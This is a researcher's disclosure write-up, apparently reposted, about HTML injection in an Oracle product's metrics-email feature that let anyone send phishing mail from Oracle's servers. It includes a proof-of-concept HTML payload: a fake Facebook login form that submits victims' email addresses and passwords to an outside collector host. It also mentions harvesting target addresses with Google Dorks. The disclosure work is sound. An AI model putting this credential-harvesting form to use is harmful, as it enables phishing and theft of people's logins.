2021-09-02 16:08:57 Author: infosecwriteups.com(查看原文) 阅读量:52 收藏
Phishing via. HTML Injection!
This blog talks about how a case of weak input validation in an Oracle product allowed me to trigger phishing emails to anyone in the world via. Oracle’s mailing server. Oracle’s response to the find is something I feel many security researchers will relate to :’)
Background
The vulnerable application captures user-oriented metrics such as utilization and logs, that can be viewed and exported for further processing. As part of other functionalities, the application allows its users to email these metrics to a user-defined email address.
The vulnerability
Like any other email functionality, the application allows users to enter an email address in the “To” input field, along with a “Subject” and “Body”. I sent out a test email to my personal email ID with the below input in the “Body” field.
<h1>ORACLE REPORT</h1>
Soon after I triggered the email from the application, I received an email with the above input, parsed as HTML code.
Note that the email is triggered from one of Oracle’s mailing servers. This confirmed that the application did not validate user input thereby allowing arbitrary HTML code to be rendered as part of the email body; typical HTML Injection.
To show a proof of concept of how such a vulnerability can be exploited to perform social engineering attacks such as spear phishing, I crafted the below payload and triggered another email.
<html><head></head><body><h1>Get ready to be surprised! Login using Facebook to know more! </h1><form action=”http://test.burpcollaborator.net" method=”get” target=”_blank”><label for=”emailId”>Email ID</label><input type=”text” id=”emailID” name=”emailID”><br><br><label for=”password”>Password</label><input type=”text” id=”password” name=”password”><br><br><input type=”submit” value=”LOG IN”></form><br/><img src=”https://imagerepository.com/image.png" width=”300" height=”300" /></body></html>
After a couple of minutes, as expected, I received an email from [email protected] with my HTML payload in the body. Now using this functionality, I could send such emails to anyone in the world and wait for unsuspecting victims to take action on the email.
Once an unsuspecting victim enters their valid credentials and clicks the “LOG IN” button, the credentials would be captured by the attacker’s server (in this case, I used Burp Collaborator) thereby gaining access to the victim’s social media account credentials (actually anything, depending on the email body).
Impact
The application has a sign-up feature and allows users to create accounts. Not just this, the newly created user by default is attached with an administrator role (the only role that has access to the email functionality). The user can obtain an email dump via many techniques such as Google Dorks and send out phishing emails to any of these users. In short, anyone can create an account and send out phishing emails to anyone with the email content appearing to be legitimate since the email is received from the Oracle mailing server [email protected]
The outcome
Well, I ended up reporting this vulnerability to Oracle. They dismissed the issue saying they do not consider this as a risk and is an intended functionality and works as per design. Multiple emails were sent back and forth regarding its impact, but the team stood their ground and rejected the find.
A couple of months later, I could see that they fixed the issue by implementing output encoding and no longer have the user input parsed without sanitization.
When asked about why they dismissed my report (as not a risk), but later fix the issue, they mentioned that this was fixed as a functionality upgrade and not because they considered this as a vulnerability. Lol anyway, I’ve seen such responses and silent patches on several occasions and I don’t see this mindset going away anytime soon.
Feedback and insights on the blog are highly appreciated. Feel free to comment or reach out to me on Twitter/Linkedin.
如有侵权请联系:admin#unsafe.sh